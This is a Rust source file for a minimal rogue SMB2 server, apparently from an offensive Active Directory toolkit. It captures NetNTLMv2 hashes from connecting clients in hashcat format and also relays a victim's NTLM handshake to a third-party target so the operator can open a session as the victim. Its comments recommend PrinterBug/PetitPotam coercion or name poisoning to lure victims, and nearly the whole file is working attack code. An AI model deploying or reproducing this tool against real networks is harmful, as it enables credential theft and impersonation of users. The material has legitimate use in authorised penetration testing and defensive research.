Skip to main content

smb2_client/
server.rs

1//! Minimal SMB2 server that captures NetNTLMv2 — the Responder/ntlmrelayx capture side.
2//! It speaks just enough SMB2 to make a client complete an NTLM auth: NEGOTIATE →
3//! SESSION_SETUP (challenge with the fixed server challenge) → SESSION_SETUP (grab the
4//! AUTHENTICATE). Pair it with coercion (PrinterBug/PetitPotam) or name poisoning; the
5//! captured hash is hashcat -m 5600. It never grants access — auth is rejected after capture.
6
7use crate::header::cmd;
8use crate::{spnego, Result, SmbError};
9use ntlmssp::{build_challenge, netntlmv2_from_type3, CAPTURE_CHALLENGE};
10use tokio::io::{AsyncReadExt, AsyncWriteExt};
11use tokio::net::{TcpListener, TcpStream};
12
13const STATUS_SUCCESS: u32 = 0x0000_0000;
14const STATUS_MORE_PROCESSING_REQUIRED: u32 = 0xC000_0016;
15const STATUS_ACCESS_DENIED: u32 = 0xC000_0022;
16const FLAGS_SERVER_TO_REDIR: u32 = 0x0000_0001;
17
18/// Build a 64-byte SMB2 response header echoing the request's command/message id.
19fn response_header(command: u16, message_id: u64, status: u32, session_id: u64) -> Vec<u8> {
20    let mut h = vec![0u8; 64];
21    h[0..4].copy_from_slice(&[0xfe, b'S', b'M', b'B']);
22    h[4..6].copy_from_slice(&64u16.to_le_bytes()); // StructureSize
23    h[8..12].copy_from_slice(&status.to_le_bytes());
24    h[12..14].copy_from_slice(&command.to_le_bytes());
25    h[14..16].copy_from_slice(&1u16.to_le_bytes()); // CreditResponse
26    h[16..20].copy_from_slice(&FLAGS_SERVER_TO_REDIR.to_le_bytes());
27    h[24..32].copy_from_slice(&message_id.to_le_bytes());
28    h[40..48].copy_from_slice(&session_id.to_le_bytes());
29    h
30}
31
32fn negotiate_response() -> Vec<u8> {
33    let mut b = Vec::new();
34    b.extend_from_slice(&65u16.to_le_bytes()); // StructureSize
35    b.extend_from_slice(&0x0001u16.to_le_bytes()); // SecurityMode = SIGNING_ENABLED
36    b.extend_from_slice(&0x0210u16.to_le_bytes()); // DialectRevision 2.1.0
37    b.extend_from_slice(&0u16.to_le_bytes()); // Reserved
38    b.extend_from_slice(&[0x11u8; 16]); // ServerGuid
39    b.extend_from_slice(&0u32.to_le_bytes()); // Capabilities
40    b.extend_from_slice(&0x0010_0000u32.to_le_bytes()); // MaxTransactSize
41    b.extend_from_slice(&0x0010_0000u32.to_le_bytes()); // MaxReadSize
42    b.extend_from_slice(&0x0010_0000u32.to_le_bytes()); // MaxWriteSize
43    b.extend_from_slice(&0u64.to_le_bytes()); // SystemTime
44    b.extend_from_slice(&0u64.to_le_bytes()); // ServerStartTime
45    b.extend_from_slice(&(64u16 + 64).to_le_bytes()); // SecurityBufferOffset (header + body)
46    b.extend_from_slice(&0u16.to_le_bytes()); // SecurityBufferLength = 0 (client initiates SPNEGO)
47    b.extend_from_slice(&0u32.to_le_bytes()); // NegotiateContextOffset
48    b
49}
50
51/// SESSION_SETUP response carrying a security buffer (the SPNEGO challenge).
52fn session_setup_response(sec: &[u8]) -> Vec<u8> {
53    let mut b = Vec::new();
54    b.extend_from_slice(&9u16.to_le_bytes()); // StructureSize
55    b.extend_from_slice(&0u16.to_le_bytes()); // SessionFlags
56    b.extend_from_slice(&(64u16 + 8).to_le_bytes()); // SecurityBufferOffset
57    b.extend_from_slice(&(sec.len() as u16).to_le_bytes()); // SecurityBufferLength
58    b.extend_from_slice(sec);
59    b
60}
61
62/// The request SESSION_SETUP security buffer: offset(2)@byte12 of the body, length(2)@14.
63fn request_sec_buffer(msg: &[u8]) -> Option<&[u8]> {
64    let off = u16::from_le_bytes([*msg.get(76)?, *msg.get(77)?]) as usize; // 64 + 12
65    let len = u16::from_le_bytes([*msg.get(78)?, *msg.get(79)?]) as usize; // 64 + 14
66    msg.get(off..off + len)
67}
68
69async fn send(stream: &mut TcpStream, pdu: &[u8]) -> Result<()> {
70    let mut framed = (pdu.len() as u32).to_be_bytes().to_vec(); // NBSS length prefix
71    framed.extend_from_slice(pdu);
72    stream.write_all(&framed).await?;
73    Ok(())
74}
75
76async fn recv(stream: &mut TcpStream) -> Result<Vec<u8>> {
77    let mut len = [0u8; 4];
78    stream.read_exact(&mut len).await?;
79    let n = u32::from_be_bytes(len) as usize & 0x00ff_ffff;
80    let mut buf = vec![0u8; n];
81    stream.read_exact(&mut buf).await?;
82    Ok(buf)
83}
84
85/// Handle one client to the point of capture. Returns the hashcat 5600 line, if captured.
86async fn handle(mut stream: TcpStream) -> Result<Option<String>> {
87    loop {
88        let msg = match recv(&mut stream).await {
89            Ok(m) if m.len() >= 64 && m[0..4] == [0xfe, b'S', b'M', b'B'] => m,
90            _ => return Ok(None),
91        };
92        let command = u16::from_le_bytes([msg[12], msg[13]]);
93        let message_id = u64::from_le_bytes(msg[24..32].try_into().unwrap());
94        let session_id = u64::from_le_bytes(msg[40..48].try_into().unwrap());
95
96        match command {
97            cmd::NEGOTIATE => {
98                let mut pdu = response_header(cmd::NEGOTIATE, message_id, STATUS_SUCCESS, 0);
99                pdu.extend(negotiate_response());
100                send(&mut stream, &pdu).await?;
101            }
102            cmd::SESSION_SETUP => {
103                let sec = request_sec_buffer(&msg).ok_or(SmbError::Truncated)?;
104                let ntlm = spnego::find_ntlm(sec).ok_or(SmbError::BadToken)?;
105                let mtype = u32::from_le_bytes([ntlm[8], ntlm[9], ntlm[10], ntlm[11]]);
106                if mtype == 1 {
107                    // Type 1 → reply MORE_PROCESSING_REQUIRED with our CHALLENGE (Type 2).
108                    let type2 = build_challenge(&CAPTURE_CHALLENGE, "ADHAMMER");
109                    let token = spnego::challenge_resp(&type2);
110                    let sid = if session_id == 0 {
111                        0x1111_0000_0000_0001
112                    } else {
113                        session_id
114                    };
115                    let mut pdu = response_header(
116                        cmd::SESSION_SETUP,
117                        message_id,
118                        STATUS_MORE_PROCESSING_REQUIRED,
119                        sid,
120                    );
121                    pdu.extend(session_setup_response(&token));
122                    send(&mut stream, &pdu).await?;
123                } else if mtype == 3 {
124                    // Type 3 → capture, then reject (never grant a session).
125                    let captured = netntlmv2_from_type3(ntlm, &CAPTURE_CHALLENGE);
126                    let mut pdu = response_header(
127                        cmd::SESSION_SETUP,
128                        message_id,
129                        STATUS_ACCESS_DENIED,
130                        session_id,
131                    );
132                    pdu.extend(session_setup_response(&[]));
133                    let _ = send(&mut stream, &pdu).await;
134                    return Ok(captured);
135                }
136            }
137            _ => return Ok(None),
138        }
139    }
140}
141
142/// One inbound SMB client being **relayed**: instead of answering the NTLM challenge with our
143/// own fixed value (capture), we hand the victim's Type1 out to the caller, relay back the
144/// *target's* Type2, and surrender the victim's Type3 — so the caller can complete an
145/// authenticated session to a third-party target as the victim.
146pub struct RelayConn {
147    stream: TcpStream,
148    ss1_msg_id: u64,
149    session_id: u64,
150}
151
152impl RelayConn {
153    pub fn new(stream: TcpStream) -> Self {
154        RelayConn {
155            stream,
156            ss1_msg_id: 0,
157            session_id: 0,
158        }
159    }
160
161    /// Handle NEGOTIATE and the first SESSION_SETUP; return the victim's NTLM Type1.
162    pub async fn recv_type1(&mut self) -> Result<Vec<u8>> {
163        loop {
164            let msg = recv(&mut self.stream).await?;
165            if msg.len() < 64 || msg[0..4] != [0xfe, b'S', b'M', b'B'] {
166                return Err(SmbError::BadProtocol);
167            }
168            let command = u16::from_le_bytes([msg[12], msg[13]]);
169            let message_id = u64::from_le_bytes(msg[24..32].try_into().unwrap());
170            match command {
171                cmd::NEGOTIATE => {
172                    let mut pdu = response_header(cmd::NEGOTIATE, message_id, STATUS_SUCCESS, 0);
173                    pdu.extend(negotiate_response());
174                    send(&mut self.stream, &pdu).await?;
175                }
176                cmd::SESSION_SETUP => {
177                    let sec = request_sec_buffer(&msg).ok_or(SmbError::Truncated)?;
178                    let ntlm = spnego::find_ntlm(sec).ok_or(SmbError::BadToken)?;
179                    self.ss1_msg_id = message_id;
180                    self.session_id = 0x2222_0000_0000_0001;
181                    return Ok(ntlm.to_vec());
182                }
183                _ => return Err(SmbError::BadToken),
184            }
185        }
186    }
187
188    /// Relay the target's Type2 challenge back to the victim.
189    pub async fn send_challenge(&mut self, type2: &[u8]) -> Result<()> {
190        let token = spnego::challenge_resp(type2);
191        let mut pdu = response_header(
192            cmd::SESSION_SETUP,
193            self.ss1_msg_id,
194            STATUS_MORE_PROCESSING_REQUIRED,
195            self.session_id,
196        );
197        pdu.extend(session_setup_response(&token));
198        send(&mut self.stream, &pdu).await
199    }
200
201    /// Receive the victim's Type3 (computed over the target's challenge).
202    pub async fn recv_type3(&mut self) -> Result<Vec<u8>> {
203        let msg = recv(&mut self.stream).await?;
204        let sec = request_sec_buffer(&msg).ok_or(SmbError::Truncated)?;
205        let msg_id = u64::from_le_bytes(msg[24..32].try_into().unwrap());
206        // Acknowledge so the victim's stack is satisfied; then it's the target's session we use.
207        let mut pdu = response_header(
208            cmd::SESSION_SETUP,
209            msg_id,
210            STATUS_ACCESS_DENIED,
211            self.session_id,
212        );
213        pdu.extend(session_setup_response(&[]));
214        let _ = send(&mut self.stream, &pdu).await;
215        spnego::find_ntlm(sec)
216            .map(|t| t.to_vec())
217            .ok_or(SmbError::BadToken)
218    }
219
220    /// Bind a listener for relaying; returns accepted [`RelayConn`]s via the closure.
221    pub async fn listen(addr: &str) -> Result<TcpListener> {
222        Ok(TcpListener::bind(addr).await?)
223    }
224}
225
226/// Listen on `addr` and print each captured NetNTLMv2 (dedup by account). Runs until Ctrl-C.
227pub async fn capture(addr: &str) -> Result<()> {
228    let listener = TcpListener::bind(addr).await?;
229    println!("[*] SMB capture listener on {addr} — coerce or poison a victim toward this host");
230    let seen = std::sync::Arc::new(tokio::sync::Mutex::new(std::collections::HashSet::new()));
231    loop {
232        let (stream, peer) = listener.accept().await?;
233        let seen = seen.clone();
234        tokio::spawn(async move {
235            if let Ok(Some(line)) = handle(stream).await {
236                let account = line.split(':').take(3).collect::<Vec<_>>().join("\\");
237                if seen.lock().await.insert(account.clone()) {
238                    println!("[+] NetNTLMv2 from {peer} ({account}):");
239                    println!("{line}");
240                }
241            }
242        });
243    }
244}